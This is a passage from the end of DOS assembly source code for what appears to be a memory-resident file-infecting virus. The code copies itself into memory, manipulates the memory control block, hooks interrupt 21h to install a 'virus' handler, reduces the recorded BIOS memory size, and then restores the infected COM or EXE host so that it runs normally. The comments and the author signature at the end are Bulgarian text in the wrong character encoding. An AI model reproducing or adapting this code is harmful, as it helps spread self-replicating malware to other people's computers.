add ax,ds:[06h] ; (FF95:0006=0C08Eh)
adc dx,0
sub ax,bx
sbb dx,cx
jc allright ; Jump if carry Set
sub ds:[06h],ax ; (FF95:0006=0C08Eh)
allright:
mov si,di ;
xor di,di ; «▓¼Ñ▒▓óá¡Ñ ▒»░┐¼« ▒Ñú¼Ñ¡▓á
push cs ; │▒▓á¡«ó┐óá¡Ñ ¡á
pop ds ; ░Ñú¿▒▓░¿▓Ñ
sub si,offset kt1 - offset entry_point ; DS:SI
mov cx,vir_length ; ¿º╖¿▒½┐óá¡Ñ ░ẼÑ░á
inc cx ; ¡á ó¿░│▒á
rep movsb ; »░Ñ╡ó║░½┐¡Ñ ¡á ó¿░│▒á
mov ah,62h
int 21h
dec bx
mov ds,bx
mov byte ptr ds:[0],5ah
mov dx,offset virus ; DX - «▓¼Ñ▒▓óá¡Ñ ¡á ¡«ó¿┐ óѬ▓«░
xor ax,ax
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli
mov ds:[21h*4],dx
mov ds:[21h*4+2],es
sti
dec byte ptr ds:[47bh]
go_to_program: ;
pop si ; ºá░Ѫñá¡Ñ ¡á SI «▓ ▒▓Ѭá
cmp word ptr cs:[si-compbuff],'ZM'
jnz com_ret
exe_ret proc far
pop ds
mov ax,word ptr cs:[si-comp_code]
mov bx,word ptr cs:[si-compbuff1+2]
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:[si-compbuff1]
push ds
pop es
call zero_regs ; ¡│½¿░á¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
ret
exe_ret endp
com_ret:
pop ax
mov ax,cs:[si-compbuff] ;
mov cs:[100h],ax ; ó║º▒▓á¡«ó┐óá¡Ñ
mov ax,cs:[si-compbuff+2] ; «░¿ú¿¡á½¡¿▓Ñ
mov cs:[102h],ax ; ¿¡▒▓░│¬╢¿¿
mov ax,100h ; »«ú«▓«ó¬á ¡á áñ░Ñ▒ CS:100
push ax ; áñ░Ñ▒ ¡á ó░║╣á¡Ñ cs:ax
push cs ; ó║º▒▓á¡«ó┐óá¡Ñ ¡á
pop ds ; DS
push ds ; ¿
pop es ; ES
call zero_regs ; ¡│½¿░á¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
ret ; »░Ñ╡«ñ ó ¡á╖Ὣ▓« ¡á »░«ú░á¼á▓á
endpr: ; ¬░á⌐ ¡á »░«╢Ññ│░á▓á
code ends ; ¬░á⌐ ¡á »░«ú░á¼á▓á
end entry_point ; ó╡«ñ¡á ▓«╖¬á »░¿ ▒▓á░▓¿░á¡Ñ
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; ƒ¡¿ ï╛í«¼¿░«ó ü░ᡬ«ó , î¿╡á⌐½«óú░áñ │½."â.äá¼┐¡«ó" 6
; , ▓ѽ.2-13-34
; ï╛í«¼¿░ îá▓ÑÑó îá▓ÑÑó , æ«┤¿┐ │½."ü│ñá»Ñ╣á" 14
; , ▓ѽ.80-28-26
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀